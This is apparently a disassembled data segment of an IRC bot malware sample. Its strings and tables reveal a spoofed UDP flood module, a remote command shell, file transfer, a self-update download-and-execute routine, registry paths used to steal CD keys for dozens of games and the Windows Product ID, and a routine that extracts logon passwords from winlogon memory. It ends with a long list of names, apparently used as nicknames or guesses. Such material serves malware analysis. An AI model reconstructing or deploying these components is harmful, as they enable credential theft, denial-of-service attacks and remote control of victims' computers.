45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_436134 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436148 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 10h dword_436180 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_436194 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_4361A8 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_4361C4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 10h dd 80000001h off_4361F4 dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436200 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 437384h, 437378h, 437368h, 2 dup(0) dd 80000001h, 437348h, 437344h, 437330h, 2 dup(0) dd 80000001h, 43730Ch, 437344h, 437300h, 2 dup(0) dd 80000001h, 4372DCh, 4372D4h, 4372C0h, 2 dup(0) dd 80000001h, 4372ACh, 43729Ch, 437280h, 2 dup(0) dd 80000001h, 43723Ch, 4373C4h, 437228h, 2 dup(0) dd 80000002h, 4371FCh, 4371F0h, 4371D0h, 2 dup(0) dd 80000002h, 43719Ch, 4373C4h, 437184h, 2 dup(0) dd 80000002h, 437150h, 4373C4h, 437138h, 2 dup(0) dd 80000002h, 437120h, 4373C4h, 437108h, 2 dup(0) dd 80000002h, 4370CCh, 43D128h, 4370BCh, 2 dup(0) dd 80000002h, 437084h, 43D128h, 437070h, 2 dup(0) dd 80000002h, 437024h, 43D128h, 437004h, 2 dup(0) dd 80000002h, 436FB4h, 43D128h, 436F88h, 2 dup(0) dd 80000002h, 436F4Ch, 43D128h, 436F38h, 2 dup(0) dd 80000002h, 436F00h, 43D128h, 436EF0h, 2 dup(0) dd 80000002h, 436EA0h, 43D128h, 436E74h, 2 dup(0) dd 80000002h, 436E34h, 43D128h, 436E18h, 2 dup(0) dd 80000002h, 436DE8h, 43D128h, 436DC8h, 2 dup(0) dd 80000002h, 436D8Ch, 43D128h, 436D78h, 2 dup(0) dd 80000002h, 436D30h, 43D128h, 436D10h, 2 dup(0) dd 80000002h, 436CBCh, 43D128h, 436C8Ch, 2 dup(0) dd 80000002h, 436C3Ch, 43D128h, 436C10h, 2 dup(0) dd 80000002h, 436BD0h, 436BC8h, 436BA8h, 2 dup(0) dd 80000002h, 436B64h, 43D128h, 436B48h, 2 dup(0) dd 80000002h, 436AFCh, 43D128h, 436AD8h, 2 dup(0) dd 80000002h, 436AA4h, 43D128h, 436A98h, 2 dup(0) dd 80000002h, 436A64h, 43D128h, 436A58h, 2 dup(0) dd 80000002h, 436A24h, 43D128h, 436A18h, 2 dup(0) dd 80000002h, 4369E4h, 43D128h, 4369D8h, 2 dup(0) dd 80000002h, 43699Ch, 43D128h, 436988h, 2 dup(0) dd 80000002h, 43694Ch, 43D128h, 436938h, 2 dup(0) dd 80000002h, 436908h, 4373C4h, 4368ECh, 2 dup(0) dd 80000002h, 4368CCh, 4368C4h, 4368A0h, 2 dup(0) dd 80000002h, 436884h, 4368C4h, 436864h, 2 dup(0) dd 80000002h, 436844h, 4368C4h, 436820h, 2 dup(0) dd 80000002h, 436808h, 4368C4h, 436804h, 2 dup(0) dd 80000002h, 4367E8h, 4367D8h, 4367D0h, 2 dup(0) dd 80000002h, 43679Ch, 42C218h, 436784h, 2 dup(0) dd 80000002h, 436748h, 43673Ch, 436714h, 436704h, 4366F0h dd 80000002h, 4366CCh, 4366C0h, 4366ACh, 43669Ch, 436694h dd 80000002h, 4366CCh, 4366C0h, 436668h, 43669Ch, 436660h dd 80000002h, 4366CCh, 4366C0h, 436630h, 43669Ch, 436628h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 10h aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 10h db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 10h aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 10h db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 10h db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 10h aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 10h db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 10h db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 10h aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 10h aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 10h aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo aCdkey db 'CDKey',0 ; DATA XREF: ___:004361F8o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o align 4 asc_4373F4: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_4373F8 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437474 db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_437498 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_4374B0 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_4374DC db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h dword_437500 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437518 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437530 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h unk_437550 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437574 db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_437598 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_4375C4 db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_4375E4 db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_437614 db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_437644 db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437670 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4376A4 db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_4376E8 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_437704 db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_43773C db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437764 db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h unk_437790 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_4377B8 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_4377E0 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 10h off_437830 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_437834 dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 4 aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 4 unk_437848 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437884 db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437930 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_437964 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_437990 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_4379C8 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437A24 dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset loc_4E0047+2 dd 0 off_437A3C dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 10h unk_437B00 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_437B4C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437B9C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437BF0 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" ; --------------------------------------------------------------------------- mov al, ds:38004387h lodsb inc edx add [ebx+eax*8], al inc edx add [eax-3Eh], bh inc edx add [edi+eax*4-5587FFBDh], bl inc edx add ah, dl retn 42h ; --------------------------------------------------------------------------- push esp stosb inc edx add ah, dl lodsb inc edx add ah, bl retn 42h ; --------------------------------------------------------------------------- dd offset aD ; "d" dd offset dword_438798 dd offset dword_438794 dd offset dword_438790 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_43878C dd offset dword_438788 dd offset dword_438784 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_438780 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_43877C dd offset dword_438778 dd offset dword_438774 dd offset dword_438770 dd offset dword_43876C dd offset word_438768 dd offset dword_438764 dd offset aI_0 ; "I" dd offset dword_438760 dd offset dword_43875C dd offset aA_0 ; "A" dd offset dword_438758 dd offset dword_438754 dd offset dword_438750 dd offset dword_43874C dd offset dword_438748 dd offset dword_438744 dd offset dword_438740 dd offset dword_43873C dd offset dword_438738 dd offset dword_438734 dd offset dword_438730 dd offset dword_43872C dd offset dword_438728 dd offset word_438724 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_4384BC dd offset off_4384B8 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" 